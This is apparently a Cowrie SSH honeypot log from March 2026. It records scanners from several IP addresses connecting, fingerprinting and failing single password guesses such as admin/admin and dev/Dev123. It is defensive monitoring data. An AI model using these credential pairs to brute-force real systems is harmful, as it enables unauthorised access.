{"eventid":"cowrie.session.connect","src_ip":"101.36.123.173","src_port":41868,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f21fc6258e4","protocol":"ssh","message":"New connection: 101.36.123.173:41868 (10.17.0.5:22) [session: 9f21fc6258e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:23:58.885298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:23:58.889442Z","src_ip":"101.36.123.173","session":"9f21fc6258e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:23:59.110671Z","src_ip":"101.36.123.173","session":"9f21fc6258e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"Dev123","message":"login attempt [dev/Dev123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:24:00.031361Z","src_ip":"101.36.123.173","session":"9f21fc6258e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:24:01.255887Z","src_ip":"101.36.123.173","session":"9f21fc6258e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.191.199","src_port":43808,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ba5cd39fde2","protocol":"ssh","message":"New connection: 210.79.191.199:43808 (10.17.0.5:22) [session: 0ba5cd39fde2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:24:02.485013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:24:02.489079Z","src_ip":"210.79.191.199","session":"0ba5cd39fde2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:24:02.798952Z","src_ip":"210.79.191.199","session":"0ba5cd39fde2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappepass","message":"login attempt [frappe/frappepass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:24:03.809861Z","src_ip":"210.79.191.199","session":"0ba5cd39fde2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:24:05.062516Z","src_ip":"210.79.191.199","session":"0ba5cd39fde2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.86","src_port":42890,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfcc83e92fee","protocol":"ssh","message":"New connection: 165.154.6.86:42890 (10.17.0.5:22) [session: bfcc83e92fee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:24:12.456138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:24:12.460841Z","src_ip":"165.154.6.86","session":"bfcc83e92fee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:24:12.675272Z","src_ip":"165.154.6.86","session":"bfcc83e92fee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ann","password":"ann","message":"login attempt [ann/ann] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:24:13.567330Z","src_ip":"165.154.6.86","session":"bfcc83e92fee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:24:14.784552Z","src_ip":"165.154.6.86","session":"bfcc83e92fee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.205.155","src_port":42528,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9cd416bb2a8","protocol":"ssh","message":"New connection: 207.180.205.155:42528 (10.17.0.5:22) [session: c9cd416bb2a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:24:54.775644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:24:54.780028Z","src_ip":"207.180.205.155","session":"c9cd416bb2a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:24:54.894697Z","src_ip":"207.180.205.155","session":"c9cd416bb2a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ashish","password":"ashish","message":"login attempt [ashish/ashish] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:24:55.310240Z","src_ip":"207.180.205.155","session":"c9cd416bb2a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:24:56.407967Z","src_ip":"207.180.205.155","session":"c9cd416bb2a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.191.18","src_port":60346,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1b6e9ec4b00","protocol":"ssh","message":"New connection: 210.79.191.18:60346 (10.17.0.5:22) [session: d1b6e9ec4b00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:25:00.381626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:25:00.387410Z","src_ip":"210.79.191.18","session":"d1b6e9ec4b00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:25:00.636023Z","src_ip":"210.79.191.18","session":"d1b6e9ec4b00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evil","password":"evil","message":"login attempt [evil/evil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:25:01.692899Z","src_ip":"210.79.191.18","session":"d1b6e9ec4b00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:25:02.945402Z","src_ip":"210.79.191.18","session":"d1b6e9ec4b00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.252.231.122","src_port":42572,"dst_ip":"159.203.135.109","dst_port":22,"session":"174db9f58ca9","protocol":"ssh","message":"New connection: 43.252.231.122:42572 (159.203.135.109:22) [session: 174db9f58ca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:25:18.569585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:25:18.579399Z","src_ip":"43.252.231.122","session":"174db9f58ca9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:25:18.790200Z","src_ip":"43.252.231.122","session":"174db9f58ca9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:25:19.402807Z","src_ip":"43.252.231.122","session":"174db9f58ca9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:25:20.611763Z","src_ip":"43.252.231.122","session":"174db9f58ca9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":34156,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c9846c27122","protocol":"ssh","message":"New connection: 2.57.122.208:34156 (10.17.0.5:22) [session: 0c9846c27122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:25:29.883831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:25:29.889090Z","src_ip":"2.57.122.208","session":"0c9846c27122","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:25:29.993109Z","src_ip":"2.57.122.208","session":"0c9846c27122","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:25:30.304721Z","src_ip":"2.57.122.208","session":"0c9846c27122","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:25:31.417601Z","src_ip":"2.57.122.208","session":"0c9846c27122","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.191.199","src_port":48762,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc4b9baeb0fc","protocol":"ssh","message":"New connection: 210.79.191.199:48762 (10.17.0.5:22) [session: bc4b9baeb0fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:26:04.701281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:26:04.716699Z","src_ip":"210.79.191.199","session":"bc4b9baeb0fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:26:05.045039Z","src_ip":"210.79.191.199","session":"bc4b9baeb0fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.123.173","src_port":48112,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b86b51ccc92","protocol":"ssh","message":"New connection: 101.36.123.173:48112 (10.17.0.5:22) [session: 0b86b51ccc92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:26:05.735637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:26:05.739463Z","src_ip":"101.36.123.173","session":"0b86b51ccc92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:26:05.952910Z","src_ip":"101.36.123.173","session":"0b86b51ccc92","protocol":"ssh"}
